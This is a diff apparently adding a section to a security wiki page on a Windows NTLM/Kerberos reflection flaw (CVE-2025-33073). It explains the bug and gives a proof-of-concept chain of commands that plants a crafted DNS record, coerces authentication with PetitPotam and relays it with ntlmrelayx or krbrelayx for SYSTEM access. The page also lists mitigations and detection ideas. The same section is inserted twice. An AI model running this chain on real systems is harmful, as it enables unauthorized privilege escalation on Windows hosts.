Add content from: NTLM Reflection is Dead, Long Live NTLM Reflection! – Deep A...

Author: HackTricks News Bot

src/windows-hardening/ntlm/README.md

@@ -2,6 +2,55 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
+## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
+
+Windows contains several mitigations that try to prevent *reflection* attacks where an NTLM (or Kerberos) authentication that originates from a host is relayed back to the **same** host to gain SYSTEM privileges.  
+
+Microsoft broke most public chains with MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) and later patches, however **CVE-2025-33073** shows that the protections can still be bypassed by abusing how the **SMB client truncates Service Principal Names (SPNs)** that contain *marshalled* (serialized) target-info.
+
+### TL;DR of the bug
+1. An attacker registers a **DNS A-record** whose label encodes a marshalled SPN – e.g.
+   `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
+2. The victim is coerced to authenticate to that hostname (PetitPotam, DFSCoerce, etc.).
+3. When the SMB client passes the target string `cifs/srv11UWhRCAAAAA…` to `lsasrv!LsapCheckMarshalledTargetInfo`, the call to `CredUnmarshalTargetInfo` **strips** the serialized blob, leaving **`cifs/srv1`**.
+4. `msv1_0!SspIsTargetLocalhost` (or the Kerberos equivalent) now considers the target to be *localhost* because the short host part matches the computer name (`SRV1`).
+5. Consequently, the server sets `NTLMSSP_NEGOTIATE_LOCAL_CALL` and injects **LSASS’ SYSTEM access-token** into the context (for Kerberos a SYSTEM-marked subsession key is created).
+6. Relaying that authentication with `ntlmrelayx.py` **or** `krbrelayx.py` gives full SYSTEM rights on the same host.
+
+### Quick PoC
+```bash
+# Add malicious DNS record
+dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
+          -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
+          -d 10.10.10.50
+
+# Trigger authentication
+PetitPotam.py -u user -p pass -d DOMAIN \
+             srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
+
+# Relay listener (NTLM)
+ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
+
+# Relay listener (Kerberos) – remove NTLM mechType first
+krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
+```
+
+### Patch & Mitigations
+* KB patch for **CVE-2025-33073** adds a check in `mrxsmb.sys::SmbCeCreateSrvCall` that blocks any SMB connection whose target contains marshalled info (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
+* Enforce **SMB signing** to prevent reflection even on unpatched hosts.
+* Monitor DNS records resembling `*<base64>...*` and block coercion vectors (PetitPotam, DFSCoerce, AuthIP...).
+
+### Detection ideas
+* Network captures with `NTLMSSP_NEGOTIATE_LOCAL_CALL` where client IP ≠ server IP.
+* Kerberos AP-REQ containing a subsession key and a client principal equal to the hostname.
+* Windows Event 4624/4648 SYSTEM logons immediately followed by remote SMB writes from the same host.
+
+## References
+* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
+* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
+
+
+
 ## Basic Information
 
 In environments where **Windows XP and Server 2003** are in operation, LM (Lan Manager) hashes are utilized, although it's widely recognized that these can be easily compromised. A particular LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, indicates a scenario where LM is not employed, representing the hash for an empty string.
@@ -296,7 +345,53 @@ The PoC can be found in **[https://github.com/eladshamir/Internal-Monologue](htt
 
 **You can use** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
 
-{{#include ../../banners/hacktricks-training.md}}
+## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
+
+Windows contains several mitigations that try to prevent *reflection* attacks where an NTLM (or Kerberos) authentication that originates from a host is relayed back to the **same** host to gain SYSTEM privileges.  
+
+Microsoft broke most public chains with MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) and later patches, however **CVE-2025-33073** shows that the protections can still be bypassed by abusing how the **SMB client truncates Service Principal Names (SPNs)** that contain *marshalled* (serialized) target-info.
+
+### TL;DR of the bug
+1. An attacker registers a **DNS A-record** whose label encodes a marshalled SPN – e.g.
+   `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
+2. The victim is coerced to authenticate to that hostname (PetitPotam, DFSCoerce, etc.).
+3. When the SMB client passes the target string `cifs/srv11UWhRCAAAAA…` to `lsasrv!LsapCheckMarshalledTargetInfo`, the call to `CredUnmarshalTargetInfo` **strips** the serialized blob, leaving **`cifs/srv1`**.
+4. `msv1_0!SspIsTargetLocalhost` (or the Kerberos equivalent) now considers the target to be *localhost* because the short host part matches the computer name (`SRV1`).
+5. Consequently, the server sets `NTLMSSP_NEGOTIATE_LOCAL_CALL` and injects **LSASS’ SYSTEM access-token** into the context (for Kerberos a SYSTEM-marked subsession key is created).
+6. Relaying that authentication with `ntlmrelayx.py` **or** `krbrelayx.py` gives full SYSTEM rights on the same host.
+
+### Quick PoC
+```bash
+# Add malicious DNS record
+dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
+          -a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
+          -d 10.10.10.50
+
+# Trigger authentication
+PetitPotam.py -u user -p pass -d DOMAIN \
+             srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
 
+# Relay listener (NTLM)
+ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
+
+# Relay listener (Kerberos) – remove NTLM mechType first
+krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
+```
+
+### Patch & Mitigations
+* KB patch for **CVE-2025-33073** adds a check in `mrxsmb.sys::SmbCeCreateSrvCall` that blocks any SMB connection whose target contains marshalled info (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
+* Enforce **SMB signing** to prevent reflection even on unpatched hosts.
+* Monitor DNS records resembling `*<base64>...*` and block coercion vectors (PetitPotam, DFSCoerce, AuthIP...).
+
+### Detection ideas
+* Network captures with `NTLMSSP_NEGOTIATE_LOCAL_CALL` where client IP ≠ server IP.
+* Kerberos AP-REQ containing a subsession key and a client principal equal to the hostname.
+* Windows Event 4624/4648 SYSTEM logons immediately followed by remote SMB writes from the same host.
+
+## References
+* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
+* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
+
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